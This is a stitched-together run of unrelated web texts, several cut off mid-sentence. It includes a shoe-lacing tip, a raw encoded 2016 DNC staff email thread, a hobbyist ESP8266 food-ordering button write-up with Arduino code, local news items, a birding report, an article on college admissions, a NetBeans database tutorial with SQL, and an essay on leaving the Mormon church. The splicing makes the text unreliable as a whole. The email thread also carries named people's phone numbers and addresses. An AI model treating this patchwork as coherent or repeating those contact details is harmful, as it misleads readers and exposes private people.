shopping for shoes, don't be too impressed by a savvy shoe salesperson using Lock Lacing to get a slightly better fit from an unsuitable pair of shoes! If you've found some shoes that meet all of your other needs with the exception of a bit of heel slippage, then Lock Lacing could be the ideal solution
status of tomorrow's CNN AM hit? Can we move it closer to the 82= 0 POTUS hit? If not we may have to pull the plug. Let us know ASAP. Thanks, Ryan Sent from my iPhone Pablo Manriquez Democratic National Committee Phone: 202.572.5488 Email: pablo@dnc.org<mailto:pablo@dnc.org> web: democrats.org<http://www.democrats.org/> Twitter: @Pablo_DNC --_000_F7B7844D30314055AA9A6D903CABDB26dncorg_ Content-Type: text/html; charset="Windows-1252" Content-Transfer-Encoding: quoted-printable <html> <head> <meta http-equiv=3D"Content-Type" content=3D"text/html; charset=3DWindows-1= 252"> </head> <body dir=3D"auto"> <div>If we pull it down we lose the hit and the opportunity to shape tomorr= ow's news. Still, a rested DWS is good for us all. </div> <div id=3D"AppleMailSignature"><br> </div> <div id=3D"AppleMailSignature"><br> </div> <div id=3D"AppleMailSignature"><br> </div> <div id=3D"AppleMailSignature"><br> Sent from my iPhone</div> <div><br> On May 17, 2016, at 7:02 PM, Kate Houghton <<a href=3D"mailto:HoughtonK@= dnc.org">HoughtonK@dnc.org</a>> wrote:<br> <br> </div> <blockquote type=3D"cite"> <div> <div></div> <div>Pablo calm it down buddy. We just asked a question. You can deal with = DWS in the am if you want. </div> <div><br> On May 17, 2016, at 7:01 PM, Manriquez, Pablo <<a href=3D"mailto:Manriqu= ezP@dnc.org">ManriquezP@dnc.org</a>> wrote:<br> <br> </div> <blockquote type=3D"cite"> <div>They structured their whole show on that we=92ll make news in the 6am = hour. We told them a time. They took care of us. Now they=92re all asleep. = Are we really going to screw them over on our mistake??? <div class=3D""><br class=3D""> </div> <div class=3D"">Plus Luis, Mark</div> <div class=3D""><br class=3D""> <div> <blockquote type=3D"cite" class=3D""> <div class=3D"">On May 17, 2016, at 6:54 PM, Banfill, Ryan <<a href=3D"m= ailto:BanfillR@dnc.org" class=3D"">BanfillR@dnc.org</a>> wrote:</div> <br class=3D"Apple-interchange-newline"> <div class=3D""> <div class=3D"">Pablo,<br class=3D""> What's the status of tomorrow's CNN AM hit? Can we move it closer to the 82= 0 POTUS hit?<br class=3D""> If not we may have to pull the plug.<br class=3D""> Let us know ASAP.<br class=3D""> Thanks,<br class=3D""> Ryan<br class=3D""> <br class=3D""> Sent from my iPhone<br class=3D""> </div> </div> </blockquote> </div> <br class=3D""> <div class=3D""> <div style=3D"color: rgb(0, 0, 0); letter-spacing: normal; orphans: auto; t= ext-align: start; text-indent: 0px; text-transform: none; white-space: norm= al; widows: auto; word-spacing: 0px; -webkit-text-stroke-width: 0px; word-w= rap: break-word; -webkit-nbsp-mode: space; -webkit-line-break: after-white-= space;" class=3D""> <div class=3D""> <div style=3D"font-family: 'Bookman Old Style', sans-serif; font-size: 14px= ;" class=3D""> <span style=3D"color: gray; font-size: 11pt;" class=3D"">Pablo Manriquez&nb= sp;</span></div> <div style=3D"font-family: 'Bookman Old Style', sans-serif; font-size: 14px= ;" class=3D""> <div style=3D"margin: 0in 0in 0.0001pt; font-size: 11pt;" class=3D""><o:p c= lass=3D""></o:p></div> <div style=3D"margin: 0in 0in 0.0001pt; font-size: 11pt;" class=3D""><span = style=3D"color: rgb(0, 112, 192);" class=3D"">Democratic National Committee= </span><o:p class=3D""></o:p></div> <div style=3D"margin: 0in 0in 0.0001pt; font-size: 11pt;" class=3D""><span = style=3D"color: gray;" class=3D"">Phone: 202.572.5488</span><o:p class=3D""= ></o:p></div> <div style=3D"margin: 0in 0in 0.0001pt; font-size: 11pt;" class=3D""><span = style=3D"color: rgb(0, 112, 192);" class=3D"">Email: <a href=3D"mailto= :pablo@dnc.org" style=3D"color: purple;" class=3D"">pablo@dnc.org</a></span= ><o:p class=3D""></o:p></div> <div style=3D"margin: 0in 0in 0.0001pt; font-size: 11pt;" class=3D""><span = style=3D"color: gray;" class=3D"">web: <a href=3D"http://www.democrats=.org/" style=3D"color: purple;" class=3D"">democrats.org</a></span><o:p cla= ss=3D""></o:p></div> <div style=3D"margin: 0in 0in 0.0001pt; font-size: 11pt;" class=3D""><span = style=3D"color: rgb(0, 112, 192);" class=3D"">Twitter: @Pablo_DNC</span></d= iv> </div> </div> </div> </div> <br class=3D""> </div> </div> </blockquote> </div> </blockquote> </body> </html> --_000_F7B7844D30314055AA9A6D903CABDB26dncorg_--The amazing, the delightful emergency food button! I recently received my shipment of the ESP8266 and NodeMCUs I had ordered, and I started playing with them. My overall experience is coming soon in another post, but the verdict so far is that it’s fantastic and I love it for ever. Since the ESP8266 is pretty much a $2, postage-stamp sized powerhouse, it’s usable in a wide variety of projects. I’ve been intrigued by the Amazon dash button ever since I saw it, and I wanted a hackable button like that for my own projects. So, I set out to make one! Introduction Before I begin, I have to say I’m a complete newbie at this, having only dabbled in hardware for a few days in total, so everything you read here is probably horribly wrong. If that’s the case, please leave a comment below, I’d appreciate the improvement. However, for now I’ll just do what everyone else does and pretend to be an expert, and continue. From the first time I saw the Amazon dash button, I was impressed by its simplicity, and thought that it, or something like it at around the same price point, would be very useful. Unfortunately, it’s not open at all, and the more open alternatives are still not very open and cost at least seven times as much. Therefore, the reasonable thing for me to do is to sink a few thousand dollars’ worth of my time into making one myself! Since I’m too lazy to cook, I thought that it would be great if I could create a button that would order food for me. Here in Greece, there are websites that aggregate all the shops that deliver food and allow you to order from the web, which is perfect for integrating into a button. So, I decided that what I wanted is a button that I could press and have food arrive a few minutes later! The first step in building any hardware project is, of course… the prototype! The prototype To whet your appetite, let’s start with the complete prototype: workaround In case you didn’t catch that, you press a button and get food. Like a lab rat. Wirelessly. We are truly living in the future. The first thing I like to do when starting a hardware project is to draw the schematic. To do this, I use the excellent KiCad, which I started using all of two days ago, and has been great ever since. This schematic might look more complicated than it really is. There are four resistors in all, which are pretty much just required pullups/pulldowns for the ESP to boot (rather than get flashed), there are a few connectors for the FTDI programmer, the button itself, a button to put the ESP in flashing mode, a decoupling capacitor and a button to disable ordering (in certain circumstances, which we’ll see more about later on). I’m not really sure why the ESP needs these resistors in order to boot. I would think that a better design would be to boot by default, and require the GPIOs to be pulled in order to get in the other modes, but I’m sure that the folks at Espressif know a bit more than me. The general design of the emergency food button (hereafter EFB for short) is this: Everything is only there so the ESP can boot, except that there’s an additional button (hereafter referred to as “the button”) that momentarily connects the reset GPIO to the ground when pressed, and resets the ESP. Implementing the prototype After drawing the schematic, which is what should work in theory, it’s time to bust out the breadboard and start connecting the wires. After a lot of wires, the prototype will hopefully look very impressive, which is what we want. Once you’re sure everything is connected properly, it’s time to power it all up. Connect the power source, and watch carefully. If you don’t see any smoke, it probably means nothing broke, and it’s time to go to phase two!: The programming phase. The programming phase To someone such as myself, a software developer (who still doesn’t know any C), that’s the easy part! Luckily, the amazing Arduino firmware for the ESP means that we can use the ever-familiar Wiring language with all the ESP goodness such as WiFi. As mentioned earlier, the only thing the ESP will do is reset when the button is pressed. So, what the program needs to do when woken up is connect to a WiFi network and issue an HTTP POST to an endpoint of our choice. In this case, our choice is a Gweet channel, where a Python script listens for the POST and will place the actual order. Here’s some simple code to do just that: #define LED 2 #define FAILSAFE 14 void send () { HTTPClient http ; http. begin ( "https://queue.stavros.io/things/" ); http. addHeader ( "Content-Type", "application/x-www-form-urlencoded" ); http. POST ( "command=food&store=noodle+bar" ); http. end (); } void setup () { pinMode ( LED, OUTPUT ); pinMode ( FAILSAFE, INPUT_PULLUP ); digitalWrite ( LED, LOW ); WiFi. mode ( WIFI_STA ); WiFi. begin ( "mywifi", "mypass" ); if ( WiFi. waitForConnectResult ()!= WL_CONNECTED ) { ESP. deepSleep ( 0 ); } if ( digitalRead ( FAILSAFE ) == LOW ) send (); digitalWrite ( LED, HIGH ); ESP. deepSleep ( 0 ); } void loop () {} There’s actually a little bit more code there that’s not shown, but it’s just a few lines to enable the ESP to be flashed with updates over WiFi. The only change to the behaviour for this is that the EFB waits for thirty seconds after waking up for any potential flashing attempts before sleeping. The astute reader will notice (I always try extra hard to notice things when I read that sentence somewhere, so consider yourself outed) that this design means that the EFB will ALWAYS order food when it wakes up, regardless of whether we pressed the button or not (for example, when we change the battery). That potentially fattening downside is why the “enable” switch exists. Short that jumper, and the ESP will order food when booting, leave it open and it will never order anything. There are some other ways one might implement this. For example, one might use a capacitor to keep a GPIO high for a few seconds after the button is pressed and then read the value in the code, but I think that one just overengineers things where simpler solutions are just fine, and one should stop doing that. The next level Of course, the eagle-eyed reader may notice that the breadboard above is slightly larger than the button, and that we might have some difficulty fitting the former into the latter. Thus, we must do something nobody has done before: Design and manufacture a PCB! To do this, there are many options: Eagle, Altium, and other, even more expensive options. What I used, have heard good things about and liked immensely, however, is the fantastic and open source KiCad, as I said earlier. I haven’t tried any of the others a lot, but I found KiCad’s manual wiring helpers are very convenient. I started off using the autorouter, but doing the wiring by hand is pretty easy and fun. The most important thing when designing the PCB is, apparently, getting the fabrication parameters right. I used DirtyPCBs for fabrication, and their parameter page is a bit convoluted for someone who doesn’t know what the terms mean. I hope the boards end up fine. The KiCad parameters I used for DirtyPCBs, in case you care, are: Min track width/min clearance: 0.127mm (0.2 to be safe) Min via diameter: 0.7112mm (0.8mm to be safe) Min drill diameter: 0.2048mm (0.4mm to be safe) When exporting, check “use protel filename extensions” to make your life easier. Routing the PCB Connecting all the components to each other properly is the main and fun part. It’s rather easy, even for a complete novice, as KiCad does most of the work for you and usually doesn’t even let you make a mistake. It will take care to put all the wires at a good distance from each other, to make sure connections don’t overlap, and that you’ve connected all the components that need to be connected and not connected any of the components that don’t need to be connected. You can see my finished PCB on the right (you can also order it from DirtyPCBs. Along with the tracks, you can add various bits of text on either side, either to mark which things are what (which you’ll want to do, trying to figure out two weeks later which headers are connected where isn’t great), or just for fun. Another thing you need to be aware of is how much current you want to push over your traces. The ESP8266 is pretty power-hungry, so making your VCC traces too thin will lead to bad things happening. I’m not sure exactly what bad things, but I imagine your ESP will reboot or your traces will melt and your house will catch on fire or whatever. In general, as long as your schematic is logically correct and works on the breadboard, KiCad will ensure that you won’t make any stupid mistakes. Its DRC checker will warn you if you leave things unconnected, or if traces are too close to each other, or if you shorted something, or committed any of a bunch of errors. Of course, it can’t know about things like how much current you intend to push over a trace, or what the parameters of your fab are, so you need to make sure you’ve told it what your fab can support. Other than that, it seems like a pretty fool-proof process, and I’m hoping I won’t need to come back and edit this post on this point when I receive my PCBs. Besides, for $14 per 10 PCBs, you can probably afford to make a few mistakes. The biggest problem is the large turnaround time (could be as long as two months), but luckily designing hardware turned out to be a cheapish and fun hobby. Usage After having all the fun designing and manufacturing the EFB, it will be used. All the components will go into the casing, and I’ll mount it on the wall. As you saw in the video, whenever I need some food, I’ll press the button, and I will very soon receive delicious Greek food, right on my doorstep. I admit that it’s kind of a novelty at this stage, but I order out a lot, and it would be nice to not have to log on to the website, select an address, select a dish (I usually order the same), go to the payment page, confirm, wait for confirmation, etc. Having a button on the wall that I can press to get food is a great convenience, so maybe it won’t be as frivolous as I think it will be. Epilogue Three days ago, designing a PCB looked to me like a daunting affair, full of pitfalls that would make my design not work. That not only turned out to be false, given the large safety net that KiCad affords, but hardware design turned out to be great fun. I already have some more ideas for PCBs I want to design, and I don’t think I’m going to bother with that perforated board thingy I bought to permanently put my board on, given that I enjoy making PCBs so much. I actually had to go through five iterations of the EFB PCB before actually shipping one off to production. The first one took a few hours, but after the second one I just scrapped the design if I saw that I needed to add a new component or do something that would require more than a slight change in the design. That goes to show how easy for me it is to route a simple PCB like the one above now, and, if you have even a passing interest in hardware, I would very strongly recommend that you download KiCad and give it a shot. The Udemy course in KiCad design helped me get started within an hour or two, and I can recommend it. If you have any thoughts or feedback, please leave a comment below or get me on Twitter! I’d be happy to see what you’ve come up with. UPDATE: Success! The PCBs have arrived! Holding the physical product of your labor in your hand is a fantastic feeling that you don’t get with software. All the more so when it’s the first PCB you’ve ever designed, and you solder everything up and it works! It feels fantastic, I urge you to design one if you have even a passing interest in hardware. The whole process was very enjoyable and pretty easy (shoutouts to the people in the ESP8266 Arduino channel and the Freenode #kicad channel for their invaluable assistance in making this). I’ve connected everything up and it works beautifully, and fits very well in the enclosure. Here’s what the final assembly looks like: workaround I hope you enjoyed reading about this project at least a bit as much as I enjoyed making it, because I enjoyed the shit out of making it.Ramen noodles, eggs, bacon and a poinsettia were among the items shoplifted by a Broward Sheriff's Office detention deputy who was arrested Tuesday, authorities said. Over five visits, Theodore Parrish, 51, shoplifted $176 worth of goods from a Coral Springs Wal-Mart, said Dani Moschella, a spokeswoman for the Broward Sheriff's Office. For the final two thefts he was armed and wore his Sheriff's Office uniform, a police report said. "It was mostly food and household items such as paper towels, eggs, ramen noodles, frozen fish fillets, bacon, bleach, topsoil and a poinsettia [that Parrish stole]," Moschella said. According to a police report, while using the self-checkout kiosk on five separate occasions Parrish intentionally failed to scan some items, bagged them, placed them in his shopping cart and left the store at 6001 Coral Ridge Drive. "The defendant acted in a surreptitious manner during each event, looking around and timing his movements," the report said. "After the theft was completed, the defendant would pass all points of sale with the stolen items and leave the store." All the thefts — commited on Nov. 16, Dec. 2, Dec. 4, Dec. 6 and Dec. 8 — were captured on surveillance video, the report said. Wal-Mart notified BSO about the thefts Dec. 10. Wal-Mart would not give the sheriff's office permission to release the surveillance video to the media, Moschella said. Parrish turned himself in Tuesday afternoon. He was charged with misdemeanor petit theft. Parrish has been suspended with pay, Moschella said. His annual salary is $65,627. He has worked for the agency since March 2000. tealanez@tribune.com, 954-356-4542 or Twitter @talanez"Online purchasing is a potential lifeline for SNAP participants living in urban neighborhoods and rural communities where access to healthy food choices can be limited," USDA Secretary Tom Vilsack said in a statement. "We're looking forward to being able to bring the benefits of the online market to low-income Americans participating in SNAP." At launch, the pilot includes national retailers like Amazon, FreshDirect and Safeway, as well as regional chains like ShopRite, Hy-Vee, Hart's Local Grocers and Dash's Market. The program will be available to customers in both rural and urban areas in Maryland, New Jersey, New York, Oregon, Pennsylvania and Washington, but not all items will covered by food stamps. According to the release, the USDA will also evaluating whether local or national services work better for SNAP families and testing various payment methods in the process. For Amazon, at least, the program also offers a chance to bounce back from last year's report that the company was underserving certain zip codes in six major US cities. While services like AmazonFresh aren't exactly cheap at $14.99 per month (and SNAP users will still have to cover any service or delivery fees), getting back those hours at the grocery store could make all the difference to a busy low-income family. [Thanks, Kristy](Click on the photo for a larger image.) The spring of 2015 in Morris County will be remembered for loons and grebes. Unprecedented numbers continue to occur on the larger bodies of water, especially Lake Hopatcong and Boonton Reservoir. 42 Common Loons are at Lake Hopatcong from Bertrand Island to Lake Forest. Horned Grebes were either hiding or absent. A beautiful Red-necked Grebe (pictured above) was floating near the Lake Forest Yacht Club. Adding to the mix were 5 Bonaparte’s Gulls and 1 Lesser Black-backed Gull. The Bald Eagles of Halsey Island have two eaglets poking their heads out of the distant nest. Boonton Reservoir tallied 40 Common Loons this afternoon. 25 were in one group. A flotilla of 7 Red-necked Grebes was in the same area as the loon raft. 11 Horned Grebes were scattered at the north end of the reservoir. A lone Red-throated Loon was also in the north end (see photo below with the classic, distant “Boonton” look). 3 Bonaparte’s Gulls were resting in the water. In the morning, 25 Bonaparte’s Gulls were viewed (Simon Lane). Tringas are here. A few isolated reports of Greater and Lesser Yellowlegs occurred last week. Today, there were 3 Greater Yellowlegs and 1 Lesser Yellowleg at Melanie Lane Wetlands along with 28 visible and actively feeding Wilson’s Snipe. The Blue-winged Teal count is now 4. 2-3 charcoal-dark Rusty Blackbirds continue to be found along the south end of the area. 2 Northern Shovelers are still present as well as 20+ Green-winged Teal and Gadwall. 2 Greater Yellowlegs were also seen today at the “Snow Goose” temporary pond of Beacon Hill Rd., Long Valley (David Bernstein). An American Bittern was at the Wildlife Observation Center of the Great Swamp NWR this morning (Simon Lane). (American Bittern, Great Swamp NWR, Apr. 12, 2015 – photo by Simon Lane). In general, reports of the following species are coming in: Chipping Sparrows, Broad-winged Hawks, Brown Thrasher, Blue-gray Gnatcatcher, Eastern Towhees, Field Sparrows, etc. There are many reports this time of year, too many to include in a daily newsletter. For further details and to see what people are seeing in the mocosocoBirds region, see local eBirdChecklists viewed via eBird’s Region Explorer. Use the following links: The eBird Hotspot Primer is here and can also be accessed via the Hotspot menu item on the mocosocoBirds.com website. @mocosocoBirds at Twitter is another communications stream. Instant field reports and links of interest are tweeted throughout the day. The latest tweets appear on the sidebar of this page. One can follow mocosocoBirds at Twitter or link to @mocosocoBirds. FinisIn 2006, at the 82 schools rated “most competitive” by Barron’s Profiles of American Colleges, 14 percent of American undergraduates came from the poorer half of the nation’s families, according to researchers at the University of Michigan and Georgetown University who analyzed data from federal surveys. That was unchanged from 1982. And at a narrower, more elite group of 28 private colleges and universities, including all eight Ivy League members, researchers at Vassar and Williams Colleges found that from 2001 to 2009, a period of major increases in financial aid at those schools, enrollment of students from the bottom 40 percent of family incomes increased from just 10 percent to 11 percent. Even with the best intentions, tapping the pool of high-performing low-income students can be hard. Studies point to many reasons poorer students with good credentials do not apply to competitive colleges, like lack of encouragement at home and at school, thinking (correctly or not) that they cannot afford it or believing they would be out of place, academically or socially. What distinguishes those who apply to elite schools is not family income or their parents’ level of education, according to a groundbreaking study published last year, but location. Exposure to just a few high-achieving peers or attending a high school with just a few teachers or recent alumni who went to highly selective colleges makes a huge difference in where low-income students apply. So does face-to-face recruiting. “You can make big statements about being accessible, and have need-blind admissions and really low net prices for low-income kids, but still enroll very few of those low-income kids, by doing minimal outreach,” said Catharine Bond Hill, president of Vassar College. “There has to be a commitment to go out and find them.” But admissions officers can visit only a small fraction of the nation’s 26,000 high schools, so they rarely see those stellar-but-isolated candidates who need to be encouraged to apply. The top schools that have managed to raise low-income enrollment say that an important factor has been collaborating with some of the nonprofit groups, like QuestBridge and the Posse Foundation, that are devoted to identifying hidden prospects, working with them in high school and connecting them to top colleges. The programs can be expensive for colleges, and many balk at the cost, refusing to join or taking only a handful of students each year. “Last year, we had only 680 slots for 15,000 students nominated by schools and community groups,” said Deborah Bial, president of the Posse Foundation, which has 51 partner colleges but is trying to recruit more. “We could easily triple in size, tomorrow.”NetBeans, Java Desktop GUI and Java DB (Derby): Combining All Together Contents: Pre requirement Setting Up the Database To manually register Java DB in the IDE Starting the Server and Creating a Database To start the database server To create the database Connecting to the Database Creating the Application Running the Generated Application Reviewing the Generated Parts of the Application Adding More Controls Follow these steps to add the additional components Binding Controls to Values in the Table To bind the sliders to their corresponding table elements: To bind the checkboxes to their corresponding table elements To verify that the sliders and checkboxes work Setting up a Custom Component To make the CarPreview component available for the CarsApp project To add the CarPreview component to the application The machine specifications used in this task are: Intel Pentium Core 2 Duo, 2.2 GHz, Windows XP Pro SP2 + periodical patches + periodical updates. 2 GB DDR2 RAM 160 GB SATA HDD 17” SyncMaster 713N monitor. Pre requirement For this tutorial you need to have the following software installed on your computer: This tutorial shows how to create a desktop Java application through which you can access and update a database. The tutorial takes advantage of support in NetBeans IDE 6.0 for the following technologies: The Java Persistence API (JPA), which helps you use Java code to interact with databases. Beans Binding (JSR-295), which provides a way for different JavaBeans components to have property values that, are synchronized with each other. For example, you can use beans binding to keep the values of cells in a JTable visual component in synch with the values of fields in an entity class. (In turn, the entity class represents the database table.) The Swing Application Framework (JSR-296), which provides some useful building blocks for quickly creating desktop applications. We will create a database CRUD (create, read, update, delete) application with a custom component used for visualizing the data (car design preview). Setting Up the Database Before you begin creating a desktop CRUD (create, read, update, delete) application in the IDE, you should already have the IDE connected to the database that your application will use. Having this connection set up in advance will allow you to take advantage of IDE features that automate the binding of the database to your application. In this tutorial, we provide instructions for using a Java DB database, since there is a convenient interface for starting and stop the Java DB database server from the IDE. However, you can use a different database server without too much difficulty. First check to see if you have Java DB registered in the IDE. Java DB is automatically registered in the IDE in a number of cases, such as when you have Sun Java System Application Server registered in the IDE or when you are running on JDK 6. To determine if Java DB is registered in the IDE: Open the Tools menu and open the Java DB Database sub-menu item. If the Settings menu item is the only item that is not grayed out, you need to manually register Java DB in the IDE. To manually register Java DB in the IDE Choose Tools > Java DB Database > Settings. In the Java DB Installation field, enter the path to the database server. In the Database Location property, enter the folder where you want the databases to be stored. Click OK. Starting the Server and Creating a Database Once Java DB is registered with the IDE, you can easily start and stop the database server, as well as create a new database. To start the database server Choose Tools > Java DB Database > Start Server. If you do not already have a location set for the database, the Set Database Location dialog box appears. Enter a location for the database server to store the databases. You can create a new folder there if you wish. Once the server is started, Java DB Database Process tab opens in the Output window and displays a message similar to the following in the Output window at the bottom of the NetBeans IDE: Apache Derby Network Server - 10.2.2.0 - (485682) started and ready to accept connections on port 1527 at 2008-02-05 08:09:07.015 GMT To create the database Choose Tools > Java DB Database > Create Database. The Create Java DB Database dialog opens. For the Database Name text field, type car_database. Also set the User Name and Password to nbuser. Click OK. Connecting to the Database So far, we have successfully started the database server and created a database. However, we still need to connect to the new database before we can start working with it in the IDE. To connect to the car_database database: Switch to the Services window (Ctrl+5) and expand the Databases node to see your new database. Right-click the database connection node ( jdbc:derby://localhost:1527/car_database[nbuser on NBUSER] ) and choose Connect. The connection node icon should now appear whole ( ), which signifies that the connection was successful. Expand the connection node, right-click its Tables subnode, and choose Execute Command. Copy the contents of the car.sql (shown below) file and paste them into the SQL Command 1 tab of the Source Editor. Keep in mind that the SQL script must be unformatted text file. If you copy from formatted text editor such as Word, you need to paste it in the unformatted text editor such as WordPad or Notepad and re-copy it. create table "CAR" ( "MAKE" VARCHAR(50) not null primary key, "MODEL" VARCHAR(50), "PRICE" INTEGER, "BODY_STYLE" VARCHAR(30), "COLOR" VARCHAR(20), "SUN_ROOF" INTEGER default 0, "SPOILER" INTEGER default 0, "TIRE_SIZE" INTEGER, "TIRE_TYPE" INTEGER, "MODERNNESS" INTEGER ); insert into car values ('Acura', 'NSX', 47075, 'coupe', 'yellow', 1, 1, 18, 1, 38); insert into car values ('Audi', 'A8', 63890,'sedan', 'black', 1, 0, 24, 0, 88); insert into car values ('BMW', 'M-Series', 108900, 'coupe','red', 1, 0, 50, 0, 44); insert into car values ('Buick', 'Lucerne', 31599,'sedan', 'black', 1, 0, 26, 2, 65); insert into car values ('Cadilac', 'XLR', 62777, 'convertible', 'green', 0, 0, 14, 1, 26); insert into car values ('Chevrolet', 'Corvette', 74999, 'coupe', 'yellow', 0, 0, 53, 2, 44); insert into car values ('Chrysler', 'Sebring', 89595, 'convertible','silver', 1, 1, 63, 0, 49); insert into car values ('Daewoo', 'Leganza', 10590,'sedan', 'blue', 1, 0, 47, 1, 66); insert into car values ('Dodge', 'Ram 2500', 38825, 'pickup', 'white', 0, 1, 96, 1, 82); insert into car values ('Eagle', 'Talon', 5995, 'hatchback','silver', 1, 1, 42, 1, 53); insert into car values ('Ford', 'F250', 47440, 'pickup', 'orange', 0, 1, 46, 1, 57); insert into car values ('Geo', 'Metro LSI', 3495, 'convertible', 'green', 0, 1, 54, 0, 74); insert into car values ('GMC', 'Yukon XL Denali', 46355, 'wagon', 'gray', 0, 1, 63, 1, 45); insert into car values ('Honda', 'Odyssey', 34895, 'coupe', 'white', 1, 1, 11, 2, 68); insert into car values ('Hummer', 'H1', 119999,'sedan','red', 1, 1, 39, 0, 17); insert into car values ('Hyundai', 'Azera', 27950,'sedan','silver', 1, 1, 13, 0, 18); insert into car values ('Infiniti', 'QX56', 44995, 'wagon', 'green', 0, 0, 15, 2, 75); insert into car values ('Isuzu', 'Hombre', 30545, 'wagon', 'white', 1, 0, 16, 2, 55); insert into car values ('Jaguar', 'XK', 91675, 'convertible', 'brown', 1, 1, 17, 2, 31); insert into car values ('
Fragmentation into native apps with mobile and the future of the open web with all of these native apps? Believe in open technology, but it comes with a certain price. It gets harder with committees and group design. People go with tools like Unity to get the job done, but currently requires a plug-in and will eventually get compatibility with the open web. More people doing cross-platform HTML5 development now. Open web is the longer path, but perhaps be more successful in the long-run. Proprietary solutions will be popular at first, but has faith in the open web 9:33 – Unity vs. the Open Web. Unity’s popularity will only last a couple of years until the open web comes along 10:45 – Deal with latency issues with VR HMD. At some point browsers will adopt USB APIs to talk to VR HMDs 11:50 – Like VR because virtual worlds give people a more creative medium to build beautiful experiences Theme music: “Fatality” by TigoolioRecently, I was linked to a blog post provocatively titled: “A Little Study Will Lead You Out of the Church; A Lot of Study Will Bring You Back.” I think you should certainly read the article, so don’t just rely on my summary, but I would summarize Carl’s argument by presenting how he sees the disaffection process within Mormonism: In my limited, personal experience, the reason a lot of people leave the church is as follows, or at least their story follows a kind of general pattern reproduced here (I’m not claiming to speak for anybody in particular, just noting the general pattern that I’ve seen, so if you’re reading this and you don’t fit the pattern exactly don’t freak out on me): 1. They are born into the church/are converted. 2. They live many wonderful blissful years enjoying the fellowship of the Latter-day Saints. 3. They go through the correlated curriculum, probably several times depending on the length of time this stage takes. 4. They fulfill callings. Bishops. Relief Society Presidents. EQ Presidents. Gospel Doctrine teachers. Full-time missionaries. One Area Authority 70. Etc. 5. At some point they discover that some of the things they have been taught over and over in the church are not entirely accurate, or at least represent a very much watered-down version of church history. This usually happens nowadays because of the internet. 6. They frantically do some more research, trying to disprove these new “facts.” They can find nothing official from the church on these various issues. 7. Because these new facts are, in fact, true, their minds are completely blown. 8. If they try to talk to someone about these new facts, those facts are typically labeled “anti-Mormon” and the concerns of these people are dismissed. Their personal worthiness might be brought into question. They are told to read, pray, and study more. 9. Because, again, these new facts are actually true, none of step 8 actually addresses any of the root problem, and further serves to drive them to silence and to drive their newfound doubts underground, where they fester. 10. Because they now know all these facts, church becomes a substantially less fulfilling place to be. In fact, it seems so watered down and false that they begin to think “the church has lied to me about this. In fact, the church is lying to me, and everybody else, right now!” 11. After some time, the person decides that their personal code of ethics demands that they adhere to reality more than adhere to the church as they once saw it. So they leave. But because Carl has done a deeper dive into these many issues using church-supportive sources, he has experienced an alternative route — that of adjusting paradigms, breaking the “overdeveloped sense of what it means to be a prophet or apostle.” As a result of his study and paradigm shifting (involving things like adopting a limited geography view of the Book of Mormon because that is the only position that is actually supportable from the text according to his understanding), he boldly claims that: …with few exceptions I can’t think of any reason to leave the Church of Jesus Christ of Latter-day Saints that makes any kind of sense to me. (The legitimate ones I can think of would mostly involve abuse by a church leader, but to be clear I also don’t think my paradigm is the catch-all best one for everybody, even if I have only my own firsthand experience to draw upon. I am not the ultimate barometer of truth.) Although he does mention leader abuse as an option (which, depending on how one interprets this, could perhaps be broader than I’m seeing it), and he also mentions that there are “few” exceptions, so there could be other exceptions than leader abuse, Carl simply sticks to academic issues. Disaffection: It’s All Academic Pay attention to his article. When I suspected this gap, I asked myself: when is he going to get to issues of values dissonance, of moral indignation, or the lived experiential failure of Mormonism for so many people? Yet, Carl never gets there. He actually describes the process in the stages 8, 9, and 10 above, but he doesn’t actually address how to resolve it. This article is utterly devoid of that discussion, whether it be simply because Carl didn’t want to talk about that at this time, or perhaps because Carl doesn’t care or because he can’t imagine. I don’t have anything to lead me to take the less charitable latter interpretations (other than a negative reading of the above quote that he can’t think of any reason to leave the Church that makes any kind of sense to him), so I’ll suppose that Carl just didn’t want to talk about these things at this time. Instead, I’m going to write about how — regardless of the motivation — this is a big miss for someone who claims that “with few exceptions” he “can’t think of any reason to leave the Church of Jesus Christ of Latter-day Saints that makes any kind of sense to” him. Because I would suggest that the basic issue with stages 5 – 11 that most often leads to disaffection (and that were mostly absent in Carl’s case, and thus he simply cannot understand) is not simply the presence of alternative information. Rather, it’s the fact that the reaction to the member learning the new information, or harboring doubts, or whatever else may be the case, cuts against point 2. The doubter no longer enjoys the fellowship of the Latter-day Saints as a direct result of their process of learning new information — just as suggested by stage 10. This is the main striking difference about Carl’s story. As he puts it himself: …because the “new” information I had discovered was not framed in a way that basically said “see what dirty liars the church correlation committee members are!” or “Joseph was clearly a fraud because he did all this stuff before he claims he met Moroni” I didn’t leave the church. But from the flip side, we could put it like this: Because Carl’s friends/family/mission president/church leaders did not frame Carl’s discovery of information in a way that basically said “see what a faithless, spiritual leper you are!” or “these ideas you are raising are clearly anti-Mormon because they do not support the traditional LDS material,” he did not leave the church. And I want to get back to this point about how Carl’s differing response muchly seems to source from Carl’s different environment…because I think that this says something about how limited his advice can be exported. But I am actually digressing from my main point. What if Mormonism simply doesn’t work? As I mentioned in the above section, I generally see disaffection as being more about lived experience. The basic issue I see with Mormonism for many people in the world is that it doesn’t work. Carl discusses academic topics. But what does he have to say for women who are dissatisfied with the inequality within Mormonism both at a cultural and at a theological level? What does he have to say for LGBT people who basically have a theological dead-end within Mormonism? Carl discusses academic topics. But as I’ve tried to talk about above, what does he have to say about the lived experience of having academic issues in wards that don’t really know how to deal with that? What does he have to say about those with disbelief issues in a church that conditions its members to know? I think that many disaffection narratives look academic and not pragmatic for a variety of reasons, so I’ll summarize them here: Disaffected Mormons don’t want to be dismissed as having left because of sin or being offended, so disaffection narratives have aligned around “objective” issues (of which people don’t exactly have to grasp at straws to find these) The church itself presents a strong “It’s either true or it’s a fraud” dichotomy, and the church also presents a very vivid picture of what it is, so when people find out that the church isn’t what it says, it seems the only viable option is that the church must be fraudulent. For many disaffected Mormons, the lived experience dissonance probably didn’t arrive until the academic issues arrived. If you’re not gay, don’t necessarily have any issues with the standing of women in the church, etc., then perhaps the first time when the church stops working is when you’re learning new information and finding that others either can’t help you, are afraid to help you, or find you dangerous for wanting to learn something different. But still, I think the core is a lived experience thing. If the church did not raise people to have to “know” the church is the “one true church,” it would have to stand on its merits of what lived experience it offers…but for many people, without the idea that the church is true (so you just have to suck it up if you don’t like it), there’s not a lot that’s compelling. And, believe it or not, but decreasing expectations on prophecy and revelation doesn’t help that. The Unsustainable Path Carl’s blog post isn’t totally novel. It is the path that many folks within Mormonism have taken. I would personally enjoy greatly if more Mormons took the same path — I think that Carl’s Mormonism is generally a better, more thoughtful Mormonism. But I don’t think 